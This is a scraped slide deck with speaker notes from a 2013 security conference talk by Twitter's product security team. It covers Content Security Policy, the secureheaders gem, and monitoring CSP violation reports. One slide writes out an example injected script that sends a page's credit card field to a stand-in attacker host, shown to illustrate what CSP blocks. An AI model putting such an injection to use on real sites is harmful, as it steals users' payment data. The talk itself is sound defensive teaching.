  • 24. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Content secur-a-wat? Content security policy is reshaping the security model It is a complicated spec with great differences across browsers It is not widely adopted However! It completely eliminates reflected and stored XSS It ensures that you never load mixed content It allows you to accept arbitrary html code from users
  • 25. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Wat? Sounds cool. script-src style-src img-src default-src frame-src connect-src font-src media-src object-src report-uri
  • 26. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity QuickTime™ and a H.264 decompressor are needed to see this picture.
  • 27. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Get rid of XSS, eh? A script-src directive that doesn’t contain ‘unsafe-inline’ almost eliminates most forms of cross site scripting. I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT
  • 28.
  • 29. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity
  • 30. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity But I have to... OK, then I’ll inject: <script> var image = new Image(); image.src = “cyberhacker.com/steal?data=”+ $(‘#credit_card’).val(); </script> FALSE! img-src violation, no XHR allowed
  • 31. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Inline css too? WTF?
  • 32.
  • 33. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity How to apply? Secure headers! (poor name, I know) Open sourced earlier this year https://github.com/twitter/secureheaders
  • 34. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity How does it work? It sets a before_filter that applies each header Values are based on options passed to filter, or in an initializer Easily overridden Secure by default!!!
  • 35. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity What about that security policy thingy There are > 6 differences between these two header values
  • 36. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Yay for standards https://t.co/f26WWx3r7y
  • 37. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity
  • 38. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Long hair don’t care About browser inconsistencies
  • 39. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity W3 Get involved!!! Key results from F2F in San Jose
  • 40. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Line numbers and column numbers Previously, a report that was caused by inline scripts/styles was cryptic Original FF implementation contained a script-sample Evals/inserting script into DOM would be buried in minified JS
  • 41. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity “sudo for javascript” Bookmarklets/plugins/etc How should they behave? Bookmarklets show clear intention Plugins somewhat questionable Need to live outside the control of the parent page But how?
  • 42. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Reporting cross-origin Original implementation did not allow CSP reports to be sent to a URI that does not match the same origin policy, using the eTLD e.g. https://ads.twitter.com can send reports to https://twitter.com, but not http://twitter.com or https://support.twitter.com or https://twitter.com:3000 As a result of the w3 face to face, the 1.0 spec shall say that reports can be sent anywhere! However, cross-origin requests not allowed by CORS will be “unauthenticated”
  • 43. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity script-(nonce|hash) The clash of the titans
  • 44. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Future
  • 45. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity You mean there’s more on CSP? The browser sends reports!
  • 46. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity What does the report look like? { "csp-report"=> { "document-uri"=>"http://localhost:3000/home", "referrer"=>"", "blocked-uri"=>"ws://localhost:35729/livereload", "violated-directive"=>"xhr-src ws://localhost.twitter.com:*" } }
  • 47. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Quiz: what does this report indicate? { "csp-report"=> { "document-uri"=>"http://example.com/welcome", "referrer"=>"", "blocked-uri"=>"self", "violated-directive"=>"inline script base restriction", "source-file"=>"http://example.com/welcome", "script-sample"=>"alert(1)", "line-number"=>81, "column-number"=>1463, } }
  • 48. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Monitor and Tune ALL the things
  • 49. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Splunk
  • 50. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Trending and anomalies
  • 51. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity
  • 52. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Header status page

Notas del editor

  1. My name is Alex Smolen, this is Neil Matatall and this is Justin Collins. We&apos;re on Twitter&apos;s Product Security team and today we&apos;re going to talk to you about security automation at Twitter.
  2. Content security policy defines what can &quot;run&quot; on a page and any deviation creates an alert. And Twitter was an early adopter. We saw that this could not only potentially protect our users, but give a large number of data points as to what the user is experiencing. We have used CSP to help detect XSS and mixed-content by leveraging the reports sent to us by the users&apos; browsers. This compliments the static and dynamic analysis provided by brakeman and phantom-gang in a unique way as we are receiving information from the user. We send the CSP reports to a central scribe host (describe: massively scalable endpoint to collect and aggregate large amounts of data) which writes to hadoop file system which we can run &quot;big data&quot; reports against using pig/scalding. We send this information to SADB where we can search and sort more easily.
  3. With the help of whitehats, we tracked down and fixed a lot of these bugs.
  4. For example, we can use static analysis to check for common coding problems, dynamic analysis for obvious problems on websites, and maybe CSP to get XSS reports to us sooner
  5. The first is that we believe writing secure code is not just a technical challenge, but also a social one, and tools should be built based on supporting and enhancing existing social processes. Unless it&apos;s one person writing, analyzing, and shipping code, then communicating about vulnerabilities is just as a important as finding them. And effective communication is really hard. We&apos;re not talking about emailing a huge report of maybe bugs to a project manager. We&apos;re talking about delivering all of the necessary information to diagnose and fix a vulnerability in a simple and user-centered view.
  6. The next principle is about finding and fixing things as quickly as possible. It&apos;s not a new idea, but as a guiding principle it leads you to be ruthless about bottlenecks, latencies, and root causes.
  7. There&apos;s a lot of ways to find security problems, and you get diminishing returns from each. We have tools that live on our servers, tools that live outside our server, tools that live in our users browsers, all meant to catch different types of issues.
  8. Most people want to do the right thing. We want to make it easy for them.
  9. Take a survey
  10. Many of these headers not encourage best practices while providing a better user experience and saving resources
  11. save resources since nothing is framed
  12. Twitter has had clickjacking problems in the past. While xfo does not solve all clickjacking issues, it does solve a very common case and is generally a very quick win that is easy to integrate.
  13. hsts preload and max-age
  14. Explain how redirecting to https doesn’t protect the initial request Save round trip
  15. Explain mixed content: MITM assets Firesheep Cookies sent Supported in webkit (phantomjs) accept arbitrary and safe because inserted scripts won’t execute on* events javascript uris restrict using eval
  16. script tag on* events javascript: hrefs Even mention inline style As a policy, no inline script should be added, moratorium on inline script well received
  17. A report from one of our wonderful whitehat reporters gave us a drop of happiness when he said that a successful xss attempt had been thwarted by CSP. TRANSITION: we took stock of what headers were implemented on our properties, and we were not satisfied. They were applied inconsistently and a by a variety of one-off methods.
  18. Mention github blog post There are a few, mostly well known, ways to solve this - data attributes, blocks of code parsed as json mention the application of the header
  19. strings or hashes
  20. Caching and hosted content concerns
  21. Talk about custom elements, being able to attach one way behavior like framing in a sandbox solving the clickjackable follow button html dom aware templating resource integrity
  22. Yeah, some browsers protect you, but not all support it
  23. Given that the browsers give us some baked in security and they take a relatively small amount of effort to implement, why aren&apos;t they more common? It’s a non-intrusive, easily configured way of enxuring that all requests get the necessary headers applied. We created a gem for Rails applications, and we intend to apply the same logic to our other frameworks as well.
  24. Content security policy defines what can &quot;run&quot; on a page and any deviation creates an alert. And Twitter was an early adopter. We saw that this could not only potentially protect our users, but give a large number of data points as to what the user is experiencing. We have used CSP to help detect XSS and mixed-content by leveraging the reports sent to us by the users&apos; browsers. This compliments the static and dynamic analysis provided by brakeman and phantom-gang in a unique way as we are receiving information from the user. We send the CSP reports to a central scribe host (describe: massively scalable endpoint to collect and aggregate large amounts of data) which writes to hadoop file system which we can run &quot;big data&quot; reports against using pig/scalding. We send this information to SADB where we can search and sort more easily.